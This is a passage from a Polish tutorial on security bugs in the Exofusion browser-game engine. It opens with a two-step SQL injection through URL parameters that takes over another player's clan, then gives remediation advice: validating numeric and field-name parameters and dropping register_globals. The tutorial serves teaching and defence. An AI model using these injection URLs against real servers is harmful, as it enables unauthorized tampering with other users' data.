etap 1: tribes.php?view=my&step=owner&step2=loan& action=loan&id=99&amount=1%26099+where+id=22%23&type=owner etap 2: train.php?action=train&train=tribe=22+where+id=99%23&rep=.0001
|
Dodatkowe wymagania |
1) Posiadanie więcej niż 0 energii. 2) Bycie właścicielem klanu o id większym od 1. |
Rezultat |
Przejmujemy właścicielstwo klanu o id 22. |
Wytłumaczenie działania |
Połączenie tricku 2 i 6. |
Uwagi |
Możemy stać się właścicielem wielu klanów, jednak na raz będziemy zarządzać tym klanem, którego id będziemy mieli ustawione w polu tribe. |
CZĘŚĆ NAJWAŻNIEJSZA: USUNIĘCIE BUGÓW
1. Zmienne liczbowe
W tej części Bugologii dowiedzieliśmy się po prostu, że są też takie zmienne liczbowe, których nie widać w formularzach, a są przesyłane pomiędzy stronami. Wystarczy więc znaleźć wszystkie te zmienne i zabezpieczyć je dokładnie tak samo, jak w I części Bugologii. Na ogól są to jakieś id ekwipunku, atakowanej osoby, czy czytanego maila. Wszystkie znajdujące się w postawowej wersji engine Exofusion są wymienione w tej części Bugologii, w którymś z przykładów. Samemu można je poszukać albo przyglądając się bliżej każdemu formularzowi i linkom z dodatkowymi zmiennymi po znaku zapytania, albo też do drugiej strony - przeglądając wszyskie zapytania SQL i szukając miejsc, gdzie wstawiane są do nich zmienne. Niegroźne są zmienne ujmowane w tych zapytaniach w apostrofy. Z góry też możemy odrzucić te, które są wczytywane bezpośrednio z bazy danych (np. stat[]), a nie od użytkownika. Reszcie należy się przyjrzeć i najlepiej je zabezpieczyć, jeśli tylko użytkownik może je zmieniać.
2. Zmienne przekazujące nazwę współczynnika
To są te najbardziej niebezpieczne zmienne. W podstawowej wersji Exofusion znajdują się w 4 miejscach: w siłowni, w wymianie AP, w klanach w dotacjach i pożyczkach. Często też występuje w formularzu rejestracji, gdy daje się tam możliwość wyboru rasy. W każdym miejscu, gdzie użytkownik może określić nazwę pola zmienianego w tablicy, należy sprawdzać, czy otrzymana od użytkownika wartość jest jednym z dozwolonych wariantów.
3. Nadpisywanie zmiennych
Nie znalazłem w przypaku Exofusion jakiejś możliwości wykorzystania tej potencjalnej luki. Jedyne co daje, to to, że nie musimy tworzyć własnych formularzy i zmienne z metody POST przekazywać w pasku adresu - przez metodę GET. Jednak warto jest uczyć się pisać bezpiecznie i też mieć oko na nieodkryte jeszcze bugi. Żeby uniknąć nadpisywania się zmiennych z poszczególnych źródeł należy nie korzystać z register globals i odwoływać się do nich przez odpowiednie tablice:
$_GET['nazwa']
$_POST['nazwa']
$_COOKIE['nazwa']
|